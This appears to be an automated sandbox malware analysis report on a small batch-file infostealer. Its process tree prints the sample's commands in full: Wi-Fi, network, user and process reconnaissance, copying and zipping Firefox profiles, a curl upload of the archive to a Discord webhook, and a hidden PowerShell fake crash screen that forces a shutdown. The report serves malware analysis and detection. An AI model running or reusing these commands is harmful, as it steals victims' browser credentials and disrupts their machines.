Analysis

  • max time kernel
    25s
  • max time network
    29s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/09/2026, 03:30

Errors

Reason
Machine shutdown

General

  • Target
    deepseek_bat_20260928_1b7719 (1).bat
  • Size 3KB
  • Sample260928-d2hyaavxfs
  • SHA256 989dcd837e6f59b4b38f063a0009f7716270f5a75752f311f88c58fafe669904
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

  • Delays execution with timeout.exe 2 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_1b7719 (1).bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh wlan show profiles | findstr /r /c:"All User Profile"
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Wi-Fi Discovery
      • Suspicious use of WriteProcessMemory
      PID:4456
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:4176
      • C:\Windows\system32\findstr.exe
        findstr /r /c:"All User Profile"
        3⤵
          PID:5048
      • C:\Windows\system32\ipconfig.exe
        ipconfig /all
        2⤵
        • Gathers network information
        PID:2924
      • C:\Windows\system32\NETSTAT.EXE
        netstat -ano
        2⤵
        • System Network Connections Discovery
        • Gathers network information
        • Suspicious use of AdjustPrivilegeToken
        PID:3340
      • C:\Windows\system32\ARP.EXE
        arp -a
        2⤵
        • Network Service Discovery
        PID:4804
      • C:\Windows\system32\net.exe
        net user
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user
          3⤵
            PID:1632
        • C:\Windows\system32\tasklist.exe
          tasklist
          2⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3612
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic product get name,version
          2⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5480
        • C:\Windows\system32\xcopy.exe
          xcopy /e /i /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles" "C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4"
          2⤵
            PID:1460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\.racmods\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip' -Force"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Enumerates connected drives
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4792
          • C:\Windows\system32\curl.exe
            curl -s -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip" https://discord.com/api/webhooks/1525679347078397962/b2oIR6lAAr63nLl9mtmI8dIBBBSrrpYuThEpWye7KFkgV2MyMqj_75DCUgMPxIqn39eg
            2⤵
              PID:3128
            • C:\Windows\system32\timeout.exe
              timeout /t 1 /nobreak
              2⤵
              • Delays execution with timeout.exe
              PID:5504
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $f = New-Object System.Windows.Forms.Form; $f.FormBorderStyle = 'None'; $f.WindowState = 'Maximized'; $f.TopMost = $true; $f.BackColor = 'Black'; $f.KeyPreview = $true; $f.Add_KeyDown({ $_.SuppressKeyPress = $true }); $l = New-Object System.Windows.Forms.Label; $l.Text = 'A fatal exception 0E has occurred at 0028:C0011E36 in VXD VMM(01) + 00010E36. The current application will be terminated.'; $l.ForeColor = 'White'; $l.Font = New-Object System.Drawing.Font('Lucida Console',14); $l.AutoSize = $false; $l.Dock = 'Fill'; $l.TextAlign = 'MiddleCenter'; $f.Controls.Add($l); $t = New-Object System.Windows.Forms.Timer; $t.Interval = 3000; $t.Add_Tick({ shutdown /s /t 0; $t.Stop() }); $t.Start(); $f.ShowDialog()"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Enumerates connected drives
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1972
              • C:\Windows\system32\shutdown.exe
                "C:\Windows\system32\shutdown.exe" /s /t 0
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2808
            • C:\Windows\system32\timeout.exe
              timeout /t 15 /nobreak
              2⤵
              • Delays execution with timeout.exe
              PID:6000
          • C:\Windows\system32\msiexec.exe
            C:\Windows\system32\msiexec.exe /V
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1080
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa3a37055 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:4768
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k GPSvcGroup
            1⤵
              PID:5452
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k CameraMonitor
              1⤵
                PID:2968

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 05d1c4cccf833569ce90131509bea362bb8a719eefe03399549b5462df013afe
                    • MD5 SHA1 SHA512 TLSH

                    mod_acct.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_acct.tmp
                    • Size 283B
                    • SHA256 14c1d3b142ae39e561568e887f5beb1982d7fefa7e40939fd116a9a22c1edeb8
                    • MD5 SHA1 SHA512 TLSH

                    mod_apps.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_apps.tmp
                    • Size 6KB
                    • SHA256 8687ee1aed2f3799e0d3c0726a751508d575100463fcac8bf1c24ee838de03f3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    mod_net.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_net.tmp
                    • Size 1022B
                    • SHA256 df7e6a444934b51c35c0da338869e46dca3b49e793aba26b4f8e78f472de9546
                    • MD5 SHA1 SHA512 TLSH

                    mod_node.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_node.tmp
                    • Size 434B
                    • SHA256 fd6d1af56729450cbcfe0bc5c6ca83c60f73d69a63d7b5edafdf42e250b20339
                    • MD5 SHA1 SHA512 TLSH

                    mod_port.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_port.tmp
                    • Size 3KB
                    • SHA256 5424d5db7190b4d55c7d06b57cf1967b91a30718eb38b2bac5e3d6c26893b37f
                    • MD5 SHA1 SHA512 TLSH

                    mod_proc.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_proc.tmp
                    • Size 7KB
                    • SHA256 f5249a624cb23ef0b5324c77ffd297576923df25198c9ebfdd9cc749c1a5e494
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    modprofile_2633.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip
                    • Size 1.1MB
                    • SHA256 b34e256e2a3dfd3ef41447a419315526ee4f728a5a034b1c54bcd6896076a52e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    __PSScriptPolicyTest_fckrmguf.cvf.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fckrmguf.cvf.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    memory/4792-15-0x000002E7FC4D0000-0x000002E7FC4DA000-memory.dmp

                    memory/4792-14-0x000002E7FC750000-0x000002E7FC762000-memory.dmp

                    memory/4792-13-0x000002E7FC2A0000-0x000002E7FC2AA000-memory.dmp

                    memory/4792-12-0x000002E7FC1E0000-0x000002E7FC292000-memory.dmp

                    memory/4792-6-0x000002E7FC120000-0x000002E7FC142000-memory.dmp

                    memory/4792-11-0x000002E7FC1C0000-0x000002E7FC1DE000-memory.dmp